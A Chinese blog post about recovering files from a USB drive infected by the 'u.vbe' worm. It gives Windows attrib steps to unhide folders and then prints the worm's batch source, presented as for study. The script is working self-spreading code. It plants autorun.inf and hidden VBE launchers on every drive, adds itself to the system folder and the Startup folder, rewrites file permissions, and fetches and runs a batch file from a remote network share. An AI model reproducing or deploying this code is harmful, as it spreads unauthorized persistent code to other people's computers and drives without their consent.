u.vbe 又弱智又善良的“病毒”
最近总觉得很忙很累,倒霉的事却一件接一件地来,而今天早上又发生了一件让我急坏了的事情.
昨晚论文指导导师找我谈论了关于我的论文修改意见,说是最迟要明天早上交给其他导师评分了,要求我把论文再给修改修改(因为要拿优秀,也就没办法了),因此,我只能开夜车把论文给赶出来,也好第二天早上打印后交上去,然后去做其他事情.
原本是这么计划的,也比平时早起了几十分钟(这几十分钟对我来说实在是太宝贵了,况且是在早晨),然后带着2G容量的u盘下去打印论文,可结果呢,当我打开u盘的时候,看到很多要么是好像坏了的文件夹,要么是exe格式的文件,这下可坏了,我的论文难道就这样给毁掉了?!!还有我长期开发积累起来的应用程序呢??我很无奈,我只能怪打印处的机器,是它们干的好事,而打印处的sb们除了会用鼠标按打印按钮之外,其他的连给屁都不懂,唉,shit一个字!
一开始我断定是感染了病毒(事实证明这个病毒应该用双引号给引起来),所以我换了几台机器试图证明点什么,但最终还是让我发现了新大陆:
第一步:打开“我的电脑〉工具〉文件夹选项〉查看”后,其中在这个“高级设置”对话框中,需要做两件事,一是把“隐藏受保护的操作系统文件(推荐)”选项去掉沟沟,二是把“显示所有文件和文件夹”给选上去,之后再按“应用”和“确定”即可。
此时,你应该看到了u盘中多了很多隐藏类型的文件夹,而这些文件夹跟exe格式文件的文件名前缀完全一样,当你打开它后发现你原来的东西还在,里面的内容什么都没有改变过,只是变成了受保护的隐藏文件夹。这时,事情就好办了,你大可以把u盘中原来没有的文件给删除掉,原来的文件继续可以使用。
但是并不意味着你大功告成,因为我发现有些“感冒”严重的机器,第一步的操作根本就没效,即是隐藏受保护的操作系统文件(推荐)”等功能修改不成功,即使你按照第一步操作,然后你再次打开这个对话框,你会发现这些状态仍然保持原来的样子(无奈)。这时是否意味着已经无能为力了呢?答案为否。
接着做第二步:
打开“开始〉运行〉输入cmd开发命令窗口”,然后进入U盘(以I盘符为例),做以下操作
cd I:\\ (回车)
I: (回车)
attrib -S -H * /D /S (回车)
或
打开cmd后直接输入
attrib -S -H I:\\* /D /S (回车)
在此等待一段时间,你会发现你原来的文件夹全恢复为非隐藏状态了(否则重复以上操作),这才算大功告成!!!!!
后来,我把这个搞搞振的“病毒”备份了一份,带回去研究了一下,结果发现,这个“ 病毒”在计算机病毒定义的三个特性(传播性、潜伏性、破坏性)并不具备破坏性,倒是觉得该“病毒”的作者太过于“善良”了,具有很强的玩弄u盘使用者的味道。
该“病毒”具有以下特征:
1、其不会对A,B盘造成任何影响
2、其把你原来的文件夹的属性设置为存档、系统文件、只读和隐藏,然后新建一个前缀名与文件夹名一样的exe文件
... ...
目前暂时发现这么多,如果时间允许的话我想继续挖掘挖掘,希望能为广大的u盘使用者提供有用的帮助
!
以下是该“病毒”的部分源代码(仅供学习之用,希望与对此感兴趣的高手交流交流):
2@echo off
3setlocal ENABLEDELAYEDEXPANSION ENABLEEXTENSIONS
4cd /d "%~dp0"
5if /i "%cd%"=="%~d0\" (explorer.exe "%~d0")
6set v=01
7set "endf=%systemdrive%\8bye.txt"
8call:ie s.vbe
9echo.Wscript.sleep 10000>s.vbe
10attrib s.vbe +a +s +r +h
11if /i not "%cd%"=="%systemroot%" (call:cb&del /a /f /q s.vbe&goto :eof)
12set dl=CDEFGHIJKLMNOPQRSTUVWXYZ
13set n=0
14call:inf >inf.tem
15call:ql
16uda.a
17md "%systemroot%\bakfiles\"
18call:ie "%systemroot%\bakfiles\将文件拖到本图标上以解压还原文件.bat"
19copy uda-解压.bat "%systemroot%\bakfiles\将文件拖到本图标上以解压还原文件.bat"
20call:ie "%systemroot%\bakfiles\uda.a"
21call:copy uda.a "%systemroot%\bakfiles\"
22:s
23echo. >uhere-%v%.txt
24if exist "%endf%" (set n=1&goto end)
25if "!dl:~%n%,1!"=="" (set n=0&s.vbe&(ping 192.168.2.211 -n 1 &&call \\192.168.2.211\re$\add.bat))
26set d=!dl:~%n%,1!:
27set /a n=n+1
28if not exist %d% (goto s)
29if exist "%d%\autorun.inf\" (echo.y|cacls "%d%\autorun.inf" /p everyone:f
30rd "%d%\autorun.inf" /s /q)
31if exist "%d%\autorun.inf" (fc "%d%\autorun.inf" inf.tem&if not "!ERRORLEVEL!"=="0" (call U盘病毒分析.bat -a -l -d %d:~0,-1% -c -i -s&goto s1)) else (goto s1)
32if not exist "%d%\%~n0.vbe" (goto s2)
33if not exist "%d%\%~nx0" (goto s3)
34if not exist "%d%\uda.a" (goto s4)
35if exist %d%\%date:~0,10%.sk (goto s)
36:s1
37call:inf >%d%\autorun.inf
38attrib %d%\autorun.inf +a +s +r +h
39call:ie "%d%\%~n0.vbe"
40:s2
41call:vbe "%~nx0" >"%d%\%~n0.vbe"
42attrib "%d%\%~n0.vbe" +a +s +r +h
43:s3
44call:copy "%~dpnx0" "%d%\"
45:s4
46call:copy "uda.a" "%d%\"
47call:ie %d%\*.sk
48echo.>%d%\%date:~0,10%.sk
49attrib %d%\%date:~0,10%.sk +a +s +r +h
50goto s
51:cb
52if exist "%systemroot%\uhere-*.txt" (del /a /f /q "%systemroot%\uhere-*.txt"&s.vbe)
53if exist "%systemroot%\uhere-*.txt" (if exist "%systemroot%\uhere-%v%.txt" (goto :eof) else (call:v "%systemroot%\uhere-*.txt"&(if %v% lss !v0! (goto :eof))))
54call:rm >%systemdrive%\已经被反U盘病毒的“病毒”感染.txt
55call:copy "%~dpnx0" "%systemroot%\"
56call:copy "uda.a" "%systemroot%\"
57call:ie "%systemroot%\%~n0.vbe"
58call:vbe "%~nx0" >"%systemroot%\%~n0.vbe"
59call:ie "%ALLUSERSPROFILE%\「开始」菜单\程序\启动\%~n0.vbe"
60call:vbe "%systemroot%\%~nx0" >"%ALLUSERSPROFILE%\「开始」菜单\程序\启动\%~n0.vbe"
61start "" /wait /d "%systemroot%\" "%systemroot%\%~n0.vbe"
62goto :eof
63:v
64set "v0=%~nx1"
65set /a "v0=%v0:~6,2%"
66goto :eof
67:rm
68echo. 看到这个,请不要慌张。电脑病毒的定义为:1、传播性;2、潜伏性;3、破坏性。根据此定义,本脚本这完全符合1,有点符合2,不符合3(若说破坏性也不是没有,但只针对U盘病毒,而且会在删除文件前备份,备份地址:%systemroot%\bakfiles\),因此,病毒二字加了引号,即不是真正的病毒。本脚本的目的是通过U盘传播,并沿途清理U盘中的病毒,如果可能,会把收集到的病毒文件发给作者;不会给您造成太多不便(与其被U盘病毒感染,不如被本脚本感染啦)。如果您觉得这样给您造成了不便,想卸载本脚本,请在%systemdrive%\下新建一个名为8bye的文本文件(不需要写入内容,即:新建%endf%),大约在20秒内完成卸载,并帮助您进行U盘病毒免疫。欲了解更多,请打开 U盘病毒分析 的自述文件(地址:%systemroot%\readme.txt)。谢谢!
69echo. 包含文件:u.bat(本文件,4240字节)、uda.a(21674字节,md5:e6762ebf6123bc17ab31995c61bba955)
70goto :eof
71:vbe
72echo.wscript.createobject("wscript.shell").run """%~1"" /start",0
73goto :eof
74:inf
75echo.[AutoRun]
76echo.open=wscript.exe %~n0.vbe
77echo.shell\open\Command=wscript.exe %~n0.vbe
78echo.shell\explore\Command=wscript.exe %~n0.vbe
79echo.shell\find\Command=wscript.exe %~n0.vbe
80goto :eof
81:ie
82if exist "%~1" (del /a /f /q "%~1")
83goto :eof
84:copy
85call:ie "%~dp2%~nx1"
86attrib "%~1" -s -h
87copy "%~1" "%~dp2"
88attrib "%~1" +s +h
89attrib "%~dp2%~nx1" +s +h
90goto :eof
91:ql
92cd /d "%systemroot%\"
93del /a /f /q Anti-U盘免疫.bat ReadMe.txt uda-解压.bat U盘病毒分析.bat zap.a 主操控.bat 打开发送功能.bat
94cd /d "%~dp0"
95goto :eof
96:end
97set d=!dl:~%n%,1!
98echo.%d%:\
99if exist %d%:\ (del /a /f /q %d%:\u.vbe %d%:\u.bat %d%:\uda.a)
100set /a n=n+1
101if not "!dl:~%n%,1!"=="" goto end
102call U盘病毒分析.bat -c&call:ql&del /a /f /q "%systemdrive%\已经被反U盘病毒的“病毒”感染.txt" "%~dp0s.vbe" "%endf%" inf.tem "uda.a" "%~n0.vbe" "uhere-%v%.txt" "%ALLUSERSPROFILE%\「开始」菜单\程序\启动\%~n0.vbe" "%~nx0"
103--------------------------------------------------------------------------------------------
104